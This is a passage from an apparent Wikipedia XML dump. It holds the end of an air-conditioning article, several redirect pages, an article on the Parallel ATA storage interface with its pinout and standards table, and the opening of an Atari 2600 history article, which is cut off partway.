This cycle takes advantage of the [[universal gas law]] ''PV'' = ''nRT'', where ''P'' is pressure, ''V'' is volume, ''R'' is the [[universal gas constant]], ''T'' is temperature, and ''n'' is the number of moles of gas (1 mole = 6.022×10&lt;sup&gt;23&lt;/sup&gt; molecules).

The most common refrigeration cycle uses an electric motor to drive a [[gas compressor|compressor]]. In an automobile the compressor is driven by a [[pulley]] on the engine's [[crankshaft]], with both using electric motors for air circulation. Since [[evaporation]] occurs when [[heat]] is absorbed, and [[condensation]] occurs when heat is released, air conditioners are designed to use a compressor to cause pressure changes between two compartments, and actively pump a refrigerant around. A refrigerant is pumped into the cooled compartment (the evaporator coil), where the low pressure and load temperature cause the refrigerant to evaporate into a vapour, taking heat with it. In the other compartment (the condenser), the refrigerant vapour is compressed and forced through another heat exchange coil, condensing into a liquid, rejecting the heat previously absorbed from the cooled space.

==== Humidity ====
Refrigeration air conditioning equipment usually reduces the [[humidity]] of the air processed by the system. The relatively cold (below the [[dewpoint]]) evaporator coil condenses water vapor from the processed air, (much like an ice cold drink will condense water on the outside of a glass), sending the water to a drain and removing water vapor from the cooled space and lowering the relative humidity. Since humans perspire to provide natural cooling by the [[evaporation]] of perspiration from the skin, drier air (up to a point) improves the comfort provided. The comfort air conditioner is designed to create a 40% to 60% relative humidity in the occupied space. In food retailing establishments large open chiller cabinets act as highly effective air dehumidifing units.

==== Refrigerants ====
&quot;[[Freon]]&quot; is a trade name for a family of fluorocarbon [[refrigerants]] manufactured by [[DuPont]] and other companies. These refrigerants were commonly used due to their superior stability and safety properties. Unfortunately, evidence has accumulated that these chlorine bearing refrigerants reach the upper atmosphere when they escape. The chemistry is poorly understood but general consensus seems to be that CFCs break up in the [[stratosphere]] due to [[UV]]-radiation, releasing their chlorine atoms. These chlorine atoms act as [[catalyst]]s in the breakdown of ozone, which does severe damage to the [[ozone layer]] that shields the Earth's surface from the strong UV radiation. The chlorine will remain active as a catalyst until and unless it binds with another particle forming a stable molecule. CFC refrigerants in common but receding usage include R-11 and R-12. Newer and more environmentally-safe refrigerants include HCFCs (R-22, used in most homes today) and HFCs (R-134a, used in most cars) have replaced most CFC use.

=== Evaporation coolers ===
The aforementioned Persian cooling systems were evaporation coolers. In very dry climates, such affectionately called &quot;[[swamp cooler|swamp coolers]]&quot; are popular for improving comfort during hot [[weather]]. The evaporative cooler is a device that draws outside air through a wet pad. The [[sensible heat]] of the incoming air, as measured by a [[Dry-bulb temperature|dry bulb thermometer]], is reduced. The total heat ([[sensible heat]] plus [[latent heat]]) of the entering air is unchanged. Some of the sensible heat of the entering air is converted to latent heat by the evaporation of water in the wet cooler pads. If the entering air is dry enough, the results can be quite comfortable. These coolers cost less and are mechanically simple to understand and maintain. 

An early type of cooler, using ice for a further effect, was patented by [[John Gorrie]] of [[Apalachicola]], FL in 1842, who used the device to cool the patients of his malaria hospital.  

A three-stage absorptive cooler exists that first dehumidifies the air with a spray of salt brine.  The brine [[osmosis|osmotically]] absorbs water vapor from the air.  The second stage sprays water in the air, evaporatively cooling (via [[absorptive refrigeration]]) the air.  Finally, to control the humidity, the air passes through another brine spray.  The brine is reconcentrated by distillation.  The system is used in some hospitals because, with filtering, a sufficiently hot regenerative distillation controls airborne organisms.

=== Absorptive chillers ===
Some buildings use gas turbines to generate electricity.  The exhausts of these are hot enough to drive an [[absorptive chiller]] that produces cold water.  The cold water is then run through radiators in air ducts for hydronic cooling.  The dual use of the energy, both to generate electricity and cooling, makes this technology attractive when regional utility and fuel prices are right. Producing heat, power, and cooling in one system is known as [[trigeneration]].

== Power ==
Air conditioner equipment power in the [[United States|U.S.]] is often described in terms of &quot;tons of refrigeration&quot;. A &quot;ton of refrigeration&quot; is defined as the cooling power of one [[short ton]]  (2000 [[pound (mass)|pound]]s or 907 [[kilogram]]s) of [[ice]] melting in a 24-hour period. This is equal to 12,000 [[BTU]] per [[hour]], or 3510 [[watt]]s (http://physics.nist.gov/Pubs/SP811/appenB9.html). Residential &quot;[[Central air conditioning|central air]]&quot; systems are usually from 1 to 5 tons (3 to 20 kW) in capacity.

The use of electric/compressive air conditioning puts a major demand on the nation's [[electrical power grid]] in warm weather, when most units are operating under heavy load. In the aftermath of the [[2003 North America blackout]] locals were asked to keep their air conditioning off. During peak demand, additional [[power plant]]s must often be brought online, usually [[natural gas]] fired plants because of their rapid startup. A [[1995]] study of various utility studies of residential air conditioning concluded that the average air conditioner wasted 40% of the input energy. This energy is lost, ironically, in the form of heat, which must be pumped out. There is a huge opportunity to reduce the need for new power plants and to conserve energy.

In an automobile the A/C system will use around 5 [[horsepower|hp]] (4 kW) of the engine's [[power (physics)|power]].

== Insulation ==
[[thermal insulation|Insulation]] reduces the required power of the air conditioning system. Thick walls, reflective roofing material, curtains and trees next to building also cut down on system and energy requirements.

== Home air conditioning systems around the world ==
Domestic air conditioning is most prevalent and ubiquitous in the first-world nations of East Asia ([[Japan]], [[South Korea]], [[Taiwan]], etc.). In this area, with soaring summer temperatures and a relatively high standard of living, air conditioning is considered a necessity and not a luxury. Japanese-made domestic air conditioners are usually window or split types, the latter being more modern and expensive.

In the United States, home air conditioning is more prevalent in the South and on the East Coast, in some parts of which it has reached the ubiquity it enjoys in East Asia.  Central air systems are most common in the United States, and are virtually standard in all new dwellings in the state of [[Florida]].

In Europe, home air conditioning remains a rarity, and this lack is largely responsible for the estimated 35000 deaths left in the wake of the [[European Heat Wave of 2003|2003 heat wave]].

==See also==
* [[Central air conditioning]]
* [[Energy]]
* [[Evaporative cooler]]
* [[Heat pump]]
* [[Heating (disambiguation)|Heating]]
* [[HVAC]]
* [[Portable air conditioners]]
* [[Refrigeration]]

==External links==
===Operation===
* [http://www.howstuffworks.com/ac.htm How Air Conditioners Work] Article by HowStuffWorks
===Tips &amp; Guides===
* [http://homesite.com.au/indoors/living-areas/airconditioning-systems/tips-and-guides/cooling-your-home/2 Cooling your home] homesite.com.au
===Servicing Information===
* [http://www.nasw.org/users/davidt/files/trouble1.html Air Conditioning and Refrigeration Troubleshooting Guide]
* [http://www.repairclinic.com/0088_16_3.asp How Air Conditioners Work] Article by RepairClinic
*  [http://www.allhvacinfo.com/Contractors_Residential_Air_Conditioning/Contractors_Residential_Air_Conditioning.htm Directory of Air Conditioning Contractors]
* [http://www.geokiss.com/hsoftware.htm Free Cooling &amp; Heating Load Calculation Programs &amp; Spreadsheets]
* [http://www.hvacwebconnection.com/Directory/mf_ac.htm Directory of Air Conditioning Manufacturers]

===Energy Efficiency===
*[http://www.aceee.org/ ACEEE] (USA)
*[http://www.aceee.org/consumerguide/aircon.htm ACEEE - Consumer Guide to Home Energy Savings (Air Conditioning)]
*[http://www.aceee.org/new/eedb.htm  ACEEE - Energy Efficiency Program Database]
*[http://www.aceee.org/consumerguide/topcac.htm ACEEE - Top-Rated Energy-Efficient Central Air Conditioners]
*[http://www.eere.energy.gov/ U.S DoE Energy Efficiency &amp; Renewable Energy] (USA)
*[http://www.eere.energy.gov/consumerinfo/factsheets/aircond.html U.S DoE EERE - Energy-Efficient Air Conditioning]
*[http://www.energystar.gov/ Energy Star] (USA)
*[http://www.energystar.gov/index.cfm?c=cac.pr_central_ac Energy Star - Central Air Conditioners]
*[http://www.powerwater.com.au/ PowerWater] (Australia)
*[http://www.powerwater.com.au/powerwater/factsheets/airconditioners.html PowerWater - Energy Efficient Air Conditioners]
*[http://www.eca.gov.uk UK Enhanced Capital Allowance Scheme (ECA)] ''UK Government scheme to provide tax rebates for companies who use products which are ECA approved''
*[http://doityourself.com/appliance/majors.htm Understanding Energy Efficient Ratings]
*[http://doityourself.com/aircond/index.shtml How to lower the energy usage of central air conditioning]
*[http://www.ecbcs.org IEA Energy Conservation in Buildings and Community Systems Programme.]

===Brands===
*[http://www.aeg.de AEG]
*[http://www.aircon4less.co.uk Aircon]
*[http://www.americanstandardair.com American Standard]
*[http://www.ariagel.it Ariagel]
*[http://www.bryant.com Bryant]
*[http://www.residential.carrier.com Carrier]
*[http://www.colemanac.com Coleman]
*[http://www.crafft.com Crafft]
*[http://www.daikin.com Daikin]
*[http://www.fujitsu-general.com/global/products Fujitsu]
*[http://www.ge.com/en GE]
*[http://www.goettl.com Goettl]
*[http://www.goodmanmfg.com Goodman]
*[http://www.hitachiaircon.com Hitachi]
*[http://www.lennox.com Lennox]
*[http://www.lgaircon.co.uk LG] (UK Site)
*[http://global.mitsubishielectric.com/bu/air Mitsubishi Electric]
*[http://www.mhi.co.jp/aircon/english Mitsubishi Heavy Industries]
*[http://www.panasonic.co.jp/global/products/ha.html Panasonic]
*[http://www.rheemac.com Rheem]
*[http://www.ruudac.com Ruud]
*Sanyo
*[http://www.thermoking.com/ Thermo King]
*Toshiba
*[http://www.trane.com/Residential/ResidentialHome.aspx Trane]
*[http://www.videoconinternational.com/ Videocon International]
*[http://www.waterloo.co.uk/ Waterloo Air Products Ltd.]

[[Category:Building engineering]]
[[Category:Cooling technology]]
[[Category:Home appliances]]

[[de:Klimaanlage]]
[[es:Aire acondicionado]]
[[fi:Ilmastointilaite]]
[[fr:Climatisation]]
[[ja:空気調和設備]]
[[lt:Oro kondicionierius]]
[[nl:Airconditioning]]
[[ru:Кондиционирование воздуха]]
[[sv:Luftkonditionering]]
[[tl:Erkon]]</text>
    </revision>
  </page>
  <page>
    <title>Alfred C. Kinsey</title>
    <id>2774</id>
    <revision>
      <id>15901165</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Alfred Kinsey]]
</text>
    </revision>
  </page>
  <page>
    <title>Automobile racing</title>
    <id>2775</id>
    <revision>
      <id>15901166</id>
      <timestamp>2002-05-17T03:39:06Z</timestamp>
      <contributor>
        <username>Jeronimo</username>
        <id>108</id>
      </contributor>
      <comment>set up redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Auto racing]]
</text>
    </revision>
  </page>
  <page>
    <title>Anti-Semite</title>
    <id>2776</id>
    <revision>
      <id>15901167</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Anti-Semitism]]
</text>
    </revision>
  </page>
  <page>
    <title>Advanced Technology Attachment</title>
    <id>2778</id>
    <revision>
      <id>40696961</id>
      <timestamp>2006-02-22T10:50:05Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Packet is correct.</comment>
      <text xml:space="preserve">[[Image:ATA cables.jpg|right|thumb|ATA cables: 40 wire ribbon cable top, 80 wire ribbon cable bottom]]
'''Advanced Technology Attachment''' ('''ATA''') is a standard [[Electrical connector|interface]] for connecting [[computer storage | storage]] devices such as [[hard disk]]s and [[CD-ROM]] drives inside [[personal computer]]s.  Many terms and synonyms for ATA exist, including abbreviations such as '''IDE''', '''ATAPI''', and '''UDMA'''.

With the market introduction of [[Serial ATA]] in 2003, the original ATA was [[retronym|retroactively renamed]] '''Parallel ATA''' (PATA). In line with the original naming, this article only covers Parallel ATA.

Parallel ATA standards only allow cable lengths up to 18 inches (up to 450 mm) although cables up to 36 inches (900 mm) can be readily purchased.  Because of this length limit, the technology normally appears as an internal computer storage interface.  It provides the most common and the least expensive interface for this application.

== History ==
[[Image:ATA on mainboard.jpg|right|thumb|Image:ATA on mainboard.jpg|ATA connection sockets on a PC motherboard located below RAM sockets]]
Although the standard has always had the official name &quot;ATA&quot;, marketing dictates caused an early version to be dubbed '''Integrated Drive Electronics''' ('''IDE''').  This is due to the drive controller being contained on the drive itself as opposed to a separate controller connected to the motherboard.  The standard following IDE, '''Enhanced IDE''' ('''EIDE''') allowed the support of drives having a storage capacity larger than 504 [[mebibyte]]s, up to 8.4 gigabytes.  Although these new names originated in branding convention and not as an official standard, the terms '''IDE''' and '''EIDE''' often appear as if interchangeable with '''ATA'''.  This may be attributed to the two technologies being introduced with the same consumable devices, these &quot;new&quot; ATA hard drives.  With the introduction of [[Serial ATA]] around 2003, conventional ATA was retroactively renamed to '''Parallel ATA''' ('''P-ATA'''), referring to the method in which data travels over wires in this [[Electrical connector|interface]].

The interface at first only worked with hard disks, but eventually an extended standard came to work with a variety of other devices&amp;mdash;generally those using removable media.  Principally, these devices include [[CD-ROM]] and [[DVD-ROM]] drives, [[tape drive]]s, and large-capacity [[floppy disk | floppy]] drives such as the [[Zip drive]] and [[SuperDisk drive]].  The extension bears the name '''Advanced Technology Attachment Packet Interface''' ('''ATAPI'''), with the full standard now known as '''ATA/ATAPI'''.

The movement from [[programmed input/output]] (PIO) to [[direct memory access]] (DMA) provided another important transition in the history of ATA. As every computer word must be read by the CPU individually, PIO tends to be slow and use a lot of CPU. This is especially a problem on faster CPUs where accessing an address outside of the cacheable main memory (whether in the [[I/O]] map or the memory map) is a relatively expensive process. This meant that systems based around ATA devices generally performed disk-related activities much more slowly than computers using [[SCSI]] or other interfaces.  However, DMA (and later '''Ultra DMA''', or '''UDMA''') greatly reduced the amount of processing time the CPU had to use in order to read and write the disks. This is possible because DMA and UDMA allow the disk controller to write data to memory directly, thus bypassing the CPU.

ATA devices have suffered from a number of &quot;barriers&quot; in terms of how much data they can handle.  However, new addressing systems and programming techniques have broken most of these barriers.  Some of the ATA-specific barriers included: 504 [[MiB]], ~8 [[GiB]], ~32 GiB&lt;!--what exactly caused this one?--&gt;, and 128 [[GiB]].  A variety of other barriers have existed, usually due to [[device driver]]s and disk I/O layers in [[operating system]]s that did not correspond with ATA standards.

The original ATA specification used a 28-bit addressing mode. This allows for the addressing of 268,435,456 512-byte sectors (128 [[GiB]] or 137 [[Gigabyte|GB]]). The standard PC BIOS system supported up to 7.88 GiB (8.46 GB), with maximum of 1024 cylinders, 256 heads and 63 sectors. &lt;!--details needed--&gt;Unfortunately, when the lowest common denominators of the [[Cylinder-head-sector|CHS]] limitations in the standard PC BIOS system and the IDE standard were combined, the system as a whole was left limited to a mere 504 [[mebibyte]]s. BIOS translation 
and [[Logical_block_addressing|LBA]] &lt;!--was LBA really introduced back then?--&gt;were introduced, removing the need for the CHS structure on the drive itself to match that used by the BIOS and consequently allowing up to 7.88 GiB. With time, this limitation was itself lifted and first 32 GB &lt;!--need some info on what caused this limit in the first place, was it just bad coding or were there historical reasons--&gt;and then the full 128 [[GB]] supported by ATA at that time became supported by PC BIOSes.

The newer specification allows 48-bit addressing, and this extends the limit to 128 [[Pebibyte|PiB]] (or 144 [[petabytes]]). Most operating systems have poor support for drives more than 2 [[TiB]] because that is the limit of their current file system, so it can be expected that will be the next drive size barrier in the near future.

These size limitations come about because some part of the system is unable to deal with block addresses above some limit. This problem may manifest itself by the system thinking the size of a drive is only the limit value, or by the system refusing to boot and hanging on the BIOS screen at the point when drives are initialised. In some cases, a BIOS upgrade for the motherboard will resolve the problem. This problem is also found in older external [[FireWire]] disk enclosures, which limit the usable size of a disk to 128GB.  By early 2005 most enclosures available have practically no limit. (Earlier versions of the popular Oxford 911 FireWire chipset had this problem. Later Oxford 911 versions and all Oxford 922 chips resolve the problem.)

== Parallel ATA Interface ==
[[Image:nappe.png|right|Ribbon cable with two connectors]]
[[Image:ATA Plug.PNG|right|40-pin connector schematic]]
Until the introduction of Serial ATA, 40-pin connectors generally attached drives to a [[ribbon cable]]. Each cable has two or three connectors, one of which plugs into a controller that interfaces with the rest of the computer system.  The remaining one or two connectors plug into drives.  Parallel ATA cables transfer data 16 bits at a time.  One occasionally finds cables that allow for the connection of three ATA devices onto one IDE channel, but in this case one drive remains read-only (this type of configuration virtually never occurs). &lt;!--how is that done then?--&gt;
{| align=&quot;right&quot; class=&quot;wikitable&quot;
|+ Parallel ATA Pins
|-
! Pin
! Function
! Pin
! Function
|-
|1 || Reset || 2 || Ground
|-
|3 || Data 7 || 4 || Data 8
|-
|5 || Data 6 || 6 || Data 9
|-
|7 || Data 5 || 8 || Data 10
|-
|9 || Data 4 || 10 || Data 11
|-
|11 || Data 3 || 12 || Data 12
|-
|13 || Data 2 || 14 || Data 13
|-
|15 || Data 1 || 16 || Data 14
|-
|17 || Data 0 || 18 || Data 15
|-
|19 || Ground || 20 || Key
|-
|21 || DDRQ   || 22 || Ground
|-
|23 || I/O Write || 24 || Ground
|-
|25 || I/O Read || 26 || Ground
|-
|27 || IOC HRDY || 28 || Cable Select
|-
|29 || DDACK || 30 || Ground
|-
|31 || IRQ || 32 || No Connect
|-
|33 || Addr 1 || 34 || GPIO_DMA66_Detect
|-
|35 || Addr 0 || 36 || Addr 2
|-
|37 || Chip Select 1P || 38 || Chip Select 3P
|-
|39 || Activity || 40 || Ground
|}
ATA's ribbon cables had 40 wires for most of its history, but an 80-wire version appeared with the introduction of the ''Ultra DMA/66'' (''UDMA4'') mode.  All of the additional wires in the new cable are [[ground (electricity)|ground]] wires, interleaved with the previously defined wires. The interleaved ground wire reduces the effects of [[capacitive coupling]] between neighboring signal wires, thereby reducing [[crosstalk]].  Capacitive coupling is more of a problem at higher transfer rates, and this change was necessary to enable the 66 megabytes per second (MB/s) transfer rate of ''UDMA4'' to work reliably.  The faster ''UDMA5'' and ''UDMA6'' modes also require 80-conductor cables.  

Though the number of wires doubled, the number of connector pins and the pinout remain the same as on 40-conductor cables, and the external appearance of the connectors is identical. Internally, of course, the connectors are different: The connectors for the 80-wire cable connect a larger number of ground wires to a smaller number of ground pins, while the connectors for the 40-wire cable connect ground wires to ground pins one-for-one. 

The ATA standard has always specified a maximum cable length of just 46 cm (18 inches). This can cause difficulties in connecting drives within a large computer case, or when mounting several physical drives into one computer, and it all but completely eliminates the possibility of using parallel ATA for external devices.  Although longer cables are widely available on the market, it must be understood that they are outside the parameters set by the specifications.  The same is true of the &quot;rounded&quot; cables also commonly available: The ATA standard describes flat cables with particular [[impedance]] and [[capacitance]]  characteristics. This is of course not a guarantee that other cables will not work, but an indication that nonstandard cables should be used, if at all, with caution.  

If two devices attach to a single cable, one is commonly referred to as a ''master'' and the other as a ''slave''.  The master drive generally appears first when the computer's [[bios]] and/or [[operating system]] enumerates available drives. On old BIOSes (486 era and older) the drives are often misleadingly referred to by the bios as &quot;C&quot; for the master and &quot;D&quot; for the slave.

If there is a single device on a cable, in most cases it should be configured as ''master''.  However, some hard drives have a special setting called ''single'' for this configuration ([[Western Digital]], in particular).  Also, depending on the hardware and software available, a single drive on a cable can work reliably even though configured as the ''slave'' drive (this configuration is most often seen when a CDROM has a channel to itself).

A drive setting called ''[[cable select]]'' was described as optional in ATA-1 and has come into fairly widespread use with ATA-5 and later.  A drive set to &quot;cable select&quot; automatically configures itself as master or slave, according to its position on the cable.  Cable select is controlled by pin 28. The host controller grounds this pin; if a device sees that the pin is grounded, it becomes the master device; if it sees that pin 28 is open, the device becomes the slave device.  

With the 40-wire cable it was very common to implement cable select by simply cutting this wire between the two device connectors.  This puts the slave device at the end of the cable, and the master on the &quot;middle&quot; connector.  This arrangement eventually was standardized in later versions of the specification.  Unfortunately, if there is just one device on the cable, this results in an unused &quot;stub&quot; of cable.  This is undesirable, both for physical convenience and electrical reasons:  The stub causes [[signal reflections]], particularly at higher transfer rates. 

When the 80-wire cable was defined for use with UDMA4, these details were changed.  The master device now goes at the end of the cable, so if there is only one device on the cable, there is no cable &quot;stub&quot; to cause reflections.   Also, cable select is now implemented in the slave device connector, usually simply by omitting the contact from the connector body.  Since 80-wire cables require special connectors anyway, this was a small additional effort.  The standard also dictates color-coded connectors for easy indentification by both installer and cable maker.

Although they are in extremely common use, the terms ''master'' and ''slave'' do not actually appear in current versions of the ATA specifications.  The two devices are correctly referred to as ''device 0'' (master) and ''device 1'' (slave), respectively.  It is a common myth that &quot;the master drive arbitrates access to devices on the channel.&quot;  In fact, the drivers in the host operating system perform the necessary arbitration and serialization. If device 1 is busy with a command then device 0 cannot start a command until device 1's command is complete, and vice versa.  There is therefore no suggestion in the ATA protocols that one device has to ask the other if it can use the channel.  Both are really &quot;slaves&quot; to the driver in the host OS.

==ATA standards versions, transfer rates, and features==
The following table shows the names of the versions of the ATA standards and the transfer modes and rates supported by each. Note that the transfer rate for each mode (for example, 66.7 MB/sec for UDMA4, commonly called &quot;Ultra-DMA 66&quot;) gives its maximum theoretical transfer rate on the cable. This is simply two bytes multiplied by the effective clock rate, and presumes that every clock cycle is used to transfer end-user data. In practice, of course, protocol overhead reduces this value. 

Congestion on the  host bus to which the ATA controller is attached may also limit the maximum burst transfer rate. For example, the maximum data transfer rate for conventional [[Peripheral Component Interconnect|PCI]] bus is 133 MB/sec, and this is shared among all active devices on the bus. 

In addition, [[as of October 2005]] no ATA [[hard drive]]s exist capable of measured sustained transfer rates of above 80 MB/sec. Furthermore, sustained transfer rate tests do not give realistic throughput expectations for most workloads: They use I/O loads specifically designed to encounter almost no delays from seek time or rotational latency. Hard drive performance under most workloads is limited first and second by those two factors; the transfer rate on the bus is a distant third in importance. Therefore, transfer speed limits above 66 MB/sec only really affect performance when the hard drive can satisfy all I/O requests by reading from its internal [[cache]] &amp;mdash; a very unusual situation, especially considering that such data is usually already buffered by the operating system.

{| class=&quot;wikitable&quot;
|-
! Standard
! Other Names
! Transfer Modes Added (MB/sec)
! Other New Features
! ANSI Reference
|-
| ATA-1 || ATA, IDE || [[programmed input/output|PIO]] 0,1,2 (3.3, 5.2, 8.3)&lt;br&gt;Single-word DMA 0,1,2 (2.1, 4.2, 8.3)&lt;br&gt;Multi-word DMA 0 (4.2)|| up to 528 MB || [http://www.t13.org/project/d0791r4c-ATA-1.pdf X3.221-1994]&lt;br&gt;(obsolete since 1999)
|-
| ATA-2 || EIDE, Fast ATA,&lt;br&gt; Fast IDE, Ultra ATA || PIO 3,4: (11.1, 16.6)&lt;br&gt;Multi-word DMA 1,2 (13.3, 16,6) || 24-bit LBA (up to 8.4 GB) || [http://www.t13.org/project/d0948r4c-ATA-2.pdf X3.279-1996]&lt;br&gt;(obsolete since 2001)
|-
| ATA-3 || EIDE || &quot; || 28-bit LBA (up to 137 GB)&lt;br&gt;[[Self-Monitoring, Analysis and Reporting Technology|S.M.A.R.T.]], Security || [http://www.t13.org/project/d2008r7b-ATA-3.pdf X3.298-1997]&lt;br&gt;(obsolete since 2002)
|-
| ATA/ATAPI-4 || ATAPI-4, ATA-4, Ultra ATA/33 || Ultra DMA 0,1,2 (16.7, 25.0, 33.3) &lt;br&gt;aka Ultra-DMA/33 || Support for CD-ROM, etc., &lt;br&gt;via ATAPI packet commands || NCITS 317-1998
|-
| ATA/ATAPI-5 || ATA-5, Ultra ATA/66 || Ultra DMA 3,4 (44.4, 66.7)&lt;br&gt;aka Ultra DMA 66  || 80-wire cables || NCITS 340-2000
|-
| ATA/ATAPI-6 || ATA-6, Ultra ATA/100 || UDMA 5 (100)&lt;br&gt;aka Ultra DMA 100 || 48-bit LBA (up to 144 PB)&lt;br&gt;Automatic Acoustic Management || NCITS 347-2001
|-
| ATA/ATAPI-7 || ATA-7, Ultra ATA/133 || UDMA 6 (133)&lt;br&gt;aka Ultra DMA 133&lt;br&gt;SATA/150  || [[SATA]] 1.0, Streaming feature set, long logical/physical sector feature set for non-packet devices || NCITS 361-2002
|-
| ATA/ATAPI-8 || ATA-8 || -- || -- || in progress

|}

In August 2004, Sam Hopkins and Brantley Coile of [[Coraid]] specified a lightweight protocol to carry ATA commands over [[Ethernet]] instead of directly connecting them to a PATA host controller.  This permitted the established block protocol to be reused in [[Network-attached storage]] applications.

==External links==

* [http://www.pcguide.com/ref/hdd/if/ide/over-c.html Overview and History of the IDE/ATA Interface]
* [http://www.ata-atapi.com/hist.htm ATA/ATAPI history]
* [http://www.faqs.org/faqs/pc-hardware-faq/enhanced-IDE/part1/ Enhanced IDE/Fast-ATA/ATA-2 FAQ]
* [http://www.dewassoc.com/kbase/hard_drives/hard_drive_size_barriers.htm Hard Drive Size Barriers]
* [http://www.t13.org/ T13 Technical Standards Group]

[[Category:Advanced Technology Attachment| ]]

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    </revision>
  </page>
  <page>
    <title>Atari 2600</title>
    <id>2779</id>
    <revision>
      <id>41986680</id>
      <timestamp>2006-03-03T01:33:44Z</timestamp>
      <contributor>
        <username>DrBob</username>
        <id>2251</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Ultrogonic|Ultrogonic]] ([[User talk:Ultrogonic|talk]]) to last version by Wvoutlaw2002</comment>
      <text xml:space="preserve">{{CVG system|title = Atari 2600
|logo = [[Image:Atari_logo.png|80px]]
|image = [[Image:Atari2600wood4.jpg|300px|Atari 2600 four-switch &quot;wood veneer&quot; version (the original 2600 had six switches).]]
|manufacturer = [[Atari]]
|type = [[Video game console]]
|generation = [[History of video games (second-generation systems)|Second generation]]
|lifespan = [[1977]]
|media = [[Cartridge (electronics)|Cartridge]]
|onlineservice =
|topgame = 
}}
The '''Atari 2600''', released in [[1977]], is the first successful [[video game console]] to use plug-in [[cartridge (electronics)|cartridge]]s instead of having [[dedicated console|one or more games built in]].{{ref|plug-in-carts}} Originally known as the '''Atari VCS'''&amp;mdash;for '''''V'''ideo '''C'''omputer '''S'''ystem''&amp;mdash;the machine's name was changed to &quot;Atari 2600&quot; (from the unit's Atari part number, CX2600) in [[1982]], after the release of the more advanced [[Atari 5200]]. It was wildly successful, and during the [[1980s]],  &quot;Atari&quot; was a synonym for this model in mainstream media.  The 2600 was typically bundled with two [[joystick]] [[game controller|controllers]], a conjoined pair of [[paddle (game controller)|paddle]] controllers, and a cartridge game.


== History ==

=== Development and market considerations ===
[[Atari]] had spun off an engineering think-tank in 1975 called Cyan Engineering to research next-generation video game systems, and had been working on a prototype known as &quot;Stella&quot; (named after one of the engineers' bicycles) for some time. Unlike prior generations of machines which used custom [[Logic programming|logic]] to play a small number of games, Stella's core was a complete [[Central processing unit|CPU]], the famous [[MOS Technology]] [[MOS Technology 6502|6502]] in a cost-reduced version, known as the [[MOS Technology 6507|6507]]. It was combined with a display and sound chip of their own design known as the '''[[Television Interface Adapter|TIA]]''', for '''''T'''elevision '''I'''nterface '''A'''daptor''. At first the design was not going to be cartridge-based, but after seeing a &quot;fake&quot; cartridge system on another machine they realized they could place the games on cartridges essentially for the price of the connector and packaging.

In August 1976 [[Fairchild Semiconductor]] released their own cartridge-based system, the [[Channel F]]. Stella was still not ready for production, but it was clear that it needed to be before there were a number of &quot;me too&quot; products filling up the market &amp;ndash; which had happened after they invented [[PONG]]. Atari simply didn't have the cash flow to complete the system quickly, given that sales of their own PONG systems were cooling. [[Nolan Bushnell]] eventually turned to [[Time Warner|Warner Communications]], and sold the company to them in [[1976]] for $28 million on the promise that Stella would be produced as soon as possible.

Key to the eventual success of the machine was the hiring of [[Jay Miner]], a chip designer who managed to squeeze an entire [[breadboard]] of equipment making up the TIA into a single chip. Once that was completed and debugged the system was ready for shipping. 
By the time it was released in [[1977]], the development had cost about US$100 million.

=== Launch and runaway success ===

The initial price was $199 with a library of 9 titles. In a play to compete directly with the Channel F, Atari named the machine the Video Computer System (or VCS for short), as the Channel F was at that point known as the '''VES''', for ''Video Entertainment System''. When Fairchild learned of Atari's naming they quickly changed the name of their system to become the Channel F. However both systems were now in the midst of a vicious round of price-cutting: PONG clones made obsolete by these newer and more powerful machines sold off their boxes to discounters for ever-lower prices. Soon many of the clone companies were out of business, and both Fairchild and Atari were selling to a public that was completely burnt out on PONG. In 1977 Atari sold only 250,000 VCSs.  In 1978 only 550,000 units from a production run of 800,000 were sold, requiring further financial support from Warner to cover losses. This led directly to the disagreements that caused Atari founder [[Nolan Bushnell]] to leave the company in [[1978]].

Once the public realized it was possible to play video games other than PONG, and programmers learned how to push its hardware's capabilities, the 2600 gained popularity. Fairchild had by this point given up, thinking they were a passed fad, thereby handing the entire quickly growing market to Atari. By [[1979]], the 2600 was the best selling [[Christmas]] present (and console), mainly because of its exclusive content, and a million were sold that year.

[[Image:A2600_Space_Invaders.png|thumb|225px|Atari 2600 ''[[Space Invaders]]'' (1980).]]
The 2600 was also rebadged as the '''Sears Video Arcade''' and sold through [[Sears|Sears-Roebuck]] stores.  

Atari then licensed the smash [[video arcade|arcade]] hit ''[[Space Invaders]]'' by [[Taito Corporation|Taito]], which greatly increased the unit's popularity when it was released in May [[1980]], doubling sales again to over 2 million units. The 2600 and its cartridges were the main factor behind Atari grossing more than $2 billion in profits in 1980. Sales then doubled again for the next two years, with almost 8 million units selling in 1982.

During this period, Atari expanded the 2600 family with two other compatible consoles.  They designed the [[Atari 2700]], a wireless version of the console that was never released due to a design flaw.  The company also built a sleeker version of the machine dubbed the [[Atari 2800]] to sell directly to the [[Japan|Japanese]] market in early [[1983]], but it suffered from competition with the newly-released [[Nintendo]] [[Nintendo Entertainment System|Famicom]].

=== Growing pains and decline ===

During this period Atari continued to grow until it had one of the largest [[research and development|R&amp;D]] divisions in [[Silicon Valley]]. They spent much of their R&amp;D budget on projects that seemed rather out of place at a videogame (or even home computer) company, projects many of which never saw the light of day. Meanwhile several attempts to bring out newer consoles failed for one reason or another, although their [[home computer]] systems, the [[Atari 8-bit family]] sold reasonably if not spectacularly. Warner was more than happy anyway, as it seemed to have no end to the sales of the 2600, and Atari was responsible for over half of the company's income. 

[[Image:PacManCrt260007052004.jpg|thumbnail|left|2600 Pac Man cartridge]]
